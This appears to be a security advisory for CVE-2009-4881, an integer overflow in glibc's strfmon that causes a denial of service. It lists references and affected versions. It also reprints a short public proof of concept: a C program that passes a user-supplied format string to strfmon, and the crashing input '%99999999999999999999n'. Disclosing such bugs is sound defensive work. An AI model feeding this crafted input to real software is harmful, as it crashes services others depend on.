First published: Tue Mar 25 2008(Updated: )
Common Vulnerabilities and Exposures assigned an identifier <a href="https://access.redhat.com/security/cve/CVE-2009-4881">CVE-2009-4881</a> to the following vulnerability: Integer overflow in the __vstrfmon_l function in stdlib/strfmon_l.c in the strfmon implementation in the GNU C Library (aka glibc or libc6) before 2.10.1 allows context-dependent attackers to cause a denial of service (application crash) via a crafted format string, as demonstrated by the %99999999999999999999n string, a related issue to <a href="https://access.redhat.com/security/cve/CVE-2008-1391">CVE-2008-1391</a>. References: [1] <a href="http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600">http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600</a> [2] <a href="http://sourceware.org/git/?p=glibc.git;a=commit;h=153aa31b93be22e01b236375fb02a9f9b9a0195f">http://sourceware.org/git/?p=glibc.git;a=commit;h=153aa31b93be22e01b236375fb02a9f9b9a0195f</a> [3] <a href="http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600">http://sources.redhat.com/bugzilla/show_bug.cgi?id=10600</a> [4] <a href="http://securityreason.com/achievement_securityalert/53">http://securityreason.com/achievement_securityalert/53</a> [5] <a href="http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/">http://xorl.wordpress.com/2009/04/11/cve-2008-1391-netbsd-strfmon-integer-overflow/</a> Public PoC (from [4]): #include <stdio.h> #include <monetary.h> int main(int argc, char* argv[]){ char buff[51]; char *bux=buff; int res; res=strfmon(bux, 50, argv[1], "0"); return 0; } cxib# ./pln %99999999999999999999n
Credit: cve@mitre.org cve@mitre.org
Affected Software | Affected Version | How to fix |
---|---|---|
GNU glibc | =2.2.2 | |
GNU glibc | =2.7 | |
GNU glibc | =2.1.2 | |
GNU glibc | =2.0.5 | |
GNU glibc | =2.2.5 | |
GNU glibc | =2.0.6 | |
GNU glibc | =1.00 | |
GNU glibc | =1.06 | |
GNU glibc | =2.1.1 | |
GNU glibc | =1.02 | |
GNU glibc | =2.0.3 | |
GNU glibc | =1.07 | |
GNU glibc | =2.3.1 | |
GNU glibc | =2.3 | |
GNU glibc | =2.0 | |
GNU glibc | =2.1.1.6 | |
GNU glibc | =1.04 | |
GNU glibc | =1.01 | |
GNU glibc | =2.3.10 | |
GNU glibc | =2.4 | |
GNU glibc | =2.1 | |
GNU glibc | =2.3.4 | |
GNU glibc | =2.1.9 | |
GNU glibc | =2.3.3 | |
GNU glibc | =2.6.1 | |
GNU glibc | =2.0.1 | |
GNU glibc | =1.09 | |
GNU glibc | =2.5.1 | |
GNU glibc | =2.6 | |
GNU glibc | =2.0.4 | |
GNU glibc | =2.0.2 | |
GNU glibc | =2.2.1 | |
GNU glibc | =2.3.2 | |
GNU glibc | =1.03 | |
GNU glibc | =2.1.3.10 | |
GNU glibc | =2.3.6 | |
GNU glibc | =2.2.3 | |
GNU glibc | =2.5 | |
GNU glibc | =1.08 | |
GNU glibc | =2.3.5 | |
GNU glibc | =2.8 | |
GNU glibc | <=2.9 | |
GNU glibc | =2.2.4 | |
GNU glibc | =2.1.3 | |
GNU glibc | =1.05 | |
GNU glibc | =2.2 |
Sign up to SecAlerts for real-time vulnerability data matched to your software, aggregated from hundreds of sources.